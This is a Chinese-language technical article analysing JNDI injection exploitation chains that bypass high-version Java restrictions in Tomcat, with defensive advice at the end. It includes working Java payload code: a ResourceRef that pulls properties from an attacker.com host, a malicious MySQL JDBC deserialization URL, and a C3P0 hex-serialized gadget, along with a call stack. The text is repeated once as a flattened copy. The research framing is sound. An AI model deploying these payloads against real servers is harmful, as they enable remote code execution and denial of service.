高版本JNDI注入-高版本Tomcat利用方案
字数 2411 2025-08-22 12:22:30

高版本Tomcat下的JNDI注入利用技术研究

前言

本文详细分析高版本Tomcat环境下JNDI注入的多种利用方案,包括绕过高版本限制的技术手段。随着Java安全机制的不断加强,传统的JNDI注入方式在高版本环境中逐渐失效,本文探讨了多种新型利用技术。

背景知识

JNDI注入基本原理

JNDI (Java Naming and Directory Interface)注入是一种通过操纵JNDI查找过程来执行恶意代码的攻击方式。攻击者控制JNDI查找的URL,使其指向恶意LDAP/RMI服务器,服务器返回精心构造的Reference对象,触发目标应用加载并执行恶意类。

高版本限制

在Java高版本中(8u191+),默认禁用了远程代码加载:

  • com.sun.jndi.ldap.object.trustURLCodebase默认为false
  • com.sun.jndi.rmi.object.trustURLCodebase默认为false

这使得传统的JNDI注入方式失效,需要寻找新的利用链。

Tomcat环境下的利用方案

1. ResourceFactory利用链

流程分析

当LDAP服务端返回的Reference类型为ResourceRef时,将由ResourceFactory类处理:

  1. 调用ResourceFactory#getLinked方法(直接返回null)
  2. 获取Reference对象的factory
  3. 如果存在factory值:
    • 加载并实例化对应的factory类
    • 调用实例化对象的getObjectInstance方法
    • 实现factory的二次注入
  4. 如果不存在factory值:
    • 调用ResourceFactory#getDefaultFactory方法
    • 判断Reference目标类是否为javax.sql.DataSource
      • 是:获取系统属性或使用默认值org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
      • 加载并实例化factory类
      • 调用getObjectInstance方法,造成JDBC攻击或二次JNDI注入

利用方式一:factory属性覆盖

ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", 
    null, "", "", true, "org.apache.naming.factory.ResourceFactory", null);
resourceRef.add(new StringRefAddr("factory", 
    "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"));
resourceRef.add(new StringRefAddr("systemProperties", 
    "http://attacker.com/AttributionCovered.properties"));

这种方式可以覆盖系统属性,如重新启用trustURLCodebase

利用方式二:JDBC攻击

ResourceRef resourceRef = new ResourceRef("javax.sql.DataSource", null, "", "", 
    true, "org.apache.naming.factory.ResourceFactory", null);
resourceRef.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver"));
String JDBC_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
resourceRef.add(new StringRefAddr("url", JDBC_url));
resourceRef.add(new StringRefAddr("username", "yso_CommonsCollections4_calc"));
resourceRef.add(new StringRefAddr("initialSize", "1"));

2. EjbFactory利用链

当Reference类型为EjbRef时,由EjbFactory处理:

  1. 调用getLinked方法判断是否存在linked值
  2. 获取Reference对象的link对应的value值,传入lookup方法,形成二次JNDI注入
  3. 如果没有link值,调用getDefaultFactory方法
    • 调用org.apache.naming.factory.OpenEjbFactory#getObjectInstance
    • 同样形成二次JNDI注入

利用方式

可以构造JNDI to JNDI的嵌套调用,造成无限lookup相同的LDAP服务,导致DoS攻击。

3. LookupFactory利用链

org.apache.naming.factory.LookupFactory也是ObjectFactory接口的实现类,其利用方式与ResourceFactory类似:

  1. 从Reference中获取factory的value值
  2. 加载对应的factory类
  3. 实例化factory类
  4. 调用factory类的getObjectInstance方法
  5. 形成JNDI二次注入

利用示例

LookupRef ref = new LookupRef("org.apache.commons.configuration2.SystemConfiguration", 
    "org.apache.naming.factory.LookupFactory", "", "");
ref.add(new StringRefAddr("factory", 
    "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"));
ref.add(new StringRefAddr("systemProperties", 
    "http://attacker.com/AttributionCovered.properties"));

4. C3P0的JavaBeanObjectFactory利用链

com.mchange.v2.naming.JavaBeanObjectFactory及其子类C3P0JavaBeanObjectFactory也可以被利用:

流程分析

  1. 遍历Reference所有内容,保存键值对到propMap
  2. 使用findBean处理beanClass:
    • 获取bean class的所有属性描述
    • 遍历每个property,判断是否存在于Reference中
    • 获取对应属性值的setter方法
    • 反射调用setter方法,导致任意setter方法执行

利用方式

利用C3P0中的反序列化链:

ResourceRef resourceRef = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", 
    null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
resourceRef.add(new StringRefAddr("userOverridesAsString", jndiPayload));

其中jndiPayload是十六进制序列化数据,格式为:
"HexAsciiSerializedMap?" + hexString + "?"

调用栈:

fromByteArray:124, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:252, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:58, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:383, VetoableChangeSupport (java.beans)
fireVetoableChange:276, VetoableChangeSupport (java.beans)
setUserOverridesAsString:416, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
findBean:146, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:193, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)

5. BeanFactory的setter触发

在高版本Tomcat(如8.5.79)中:

  1. 如果Reference包含forceString属性则抛出异常
  2. 遍历Reference中的所有值
  3. 如果值在bean class中存在对应属性
  4. 调用pda[i].getWriteMethod()获取setter方法
  5. 反射调用setter方法

利用方式

寻找可利用的setter方法,如前面C3P0的setUserOverridesAsString方法。

防御建议

  1. 升级到最新版Tomcat
  2. 禁用不必要的JNDI查找功能
  3. 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. 对JNDI查找进行严格的输入验证
  5. 使用安全管理器限制敏感操作

总结

本文详细分析了高版本Tomcat环境下多种JNDI注入的利用技术,包括:

  • ResourceFactory的两种利用方式
  • EjbFactory的二次注入
  • LookupFactory的利用
  • C3P0的JavaBeanObjectFactory反序列化链
  • BeanFactory的setter方法触发

这些技术为在高版本Java环境中进行安全研究和防御提供了重要参考。

高版本Tomcat下的JNDI注入利用技术研究 前言 本文详细分析高版本Tomcat环境下JNDI注入的多种利用方案,包括绕过高版本限制的技术手段。随着Java安全机制的不断加强,传统的JNDI注入方式在高版本环境中逐渐失效,本文探讨了多种新型利用技术。 背景知识 JNDI注入基本原理 JNDI (Java Naming and Directory Interface)注入是一种通过操纵JNDI查找过程来执行恶意代码的攻击方式。攻击者控制JNDI查找的URL,使其指向恶意LDAP/RMI服务器,服务器返回精心构造的Reference对象,触发目标应用加载并执行恶意类。 高版本限制 在Java高版本中(8u191+),默认禁用了远程代码加载: com.sun.jndi.ldap.object.trustURLCodebase 默认为false com.sun.jndi.rmi.object.trustURLCodebase 默认为false 这使得传统的JNDI注入方式失效,需要寻找新的利用链。 Tomcat环境下的利用方案 1. ResourceFactory利用链 流程分析 当LDAP服务端返回的Reference类型为 ResourceRef 时,将由 ResourceFactory 类处理: 调用 ResourceFactory#getLinked 方法(直接返回null) 获取Reference对象的 factory 值 如果存在 factory 值: 加载并实例化对应的factory类 调用实例化对象的 getObjectInstance 方法 实现factory的二次注入 如果不存在 factory 值: 调用 ResourceFactory#getDefaultFactory 方法 判断Reference目标类是否为 javax.sql.DataSource 是:获取系统属性或使用默认值 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory 加载并实例化factory类 调用 getObjectInstance 方法,造成JDBC攻击或二次JNDI注入 利用方式一:factory属性覆盖 这种方式可以覆盖系统属性,如重新启用 trustURLCodebase 。 利用方式二:JDBC攻击 2. EjbFactory利用链 当Reference类型为 EjbRef 时,由 EjbFactory 处理: 调用 getLinked 方法判断是否存在linked值 获取Reference对象的 link 对应的value值,传入 lookup 方法,形成二次JNDI注入 如果没有link值,调用 getDefaultFactory 方法 调用 org.apache.naming.factory.OpenEjbFactory#getObjectInstance 同样形成二次JNDI注入 利用方式 可以构造JNDI to JNDI的嵌套调用,造成无限lookup相同的LDAP服务,导致DoS攻击。 3. LookupFactory利用链 org.apache.naming.factory.LookupFactory 也是 ObjectFactory 接口的实现类,其利用方式与 ResourceFactory 类似: 从Reference中获取factory的value值 加载对应的factory类 实例化factory类 调用factory类的 getObjectInstance 方法 形成JNDI二次注入 利用示例 4. C3P0的JavaBeanObjectFactory利用链 com.mchange.v2.naming.JavaBeanObjectFactory 及其子类 C3P0JavaBeanObjectFactory 也可以被利用: 流程分析 遍历Reference所有内容,保存键值对到propMap 使用 findBean 处理beanClass: 获取bean class的所有属性描述 遍历每个property,判断是否存在于Reference中 获取对应属性值的setter方法 反射调用setter方法,导致任意setter方法执行 利用方式 利用C3P0中的反序列化链: 其中 jndiPayload 是十六进制序列化数据,格式为: "HexAsciiSerializedMap?" + hexString + "?" 调用栈: 5. BeanFactory的setter触发 在高版本Tomcat(如8.5.79)中: 如果Reference包含 forceString 属性则抛出异常 遍历Reference中的所有值 如果值在bean class中存在对应属性 调用 pda[i].getWriteMethod() 获取setter方法 反射调用setter方法 利用方式 寻找可利用的setter方法,如前面C3P0的 setUserOverridesAsString 方法。 防御建议 升级到最新版Tomcat 禁用不必要的JNDI查找功能 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 对JNDI查找进行严格的输入验证 使用安全管理器限制敏感操作 总结 本文详细分析了高版本Tomcat环境下多种JNDI注入的利用技术,包括: ResourceFactory的两种利用方式 EjbFactory的二次注入 LookupFactory的利用 C3P0的JavaBeanObjectFactory反序列化链 BeanFactory的setter方法触发 这些技术为在高版本Java环境中进行安全研究和防御提供了重要参考。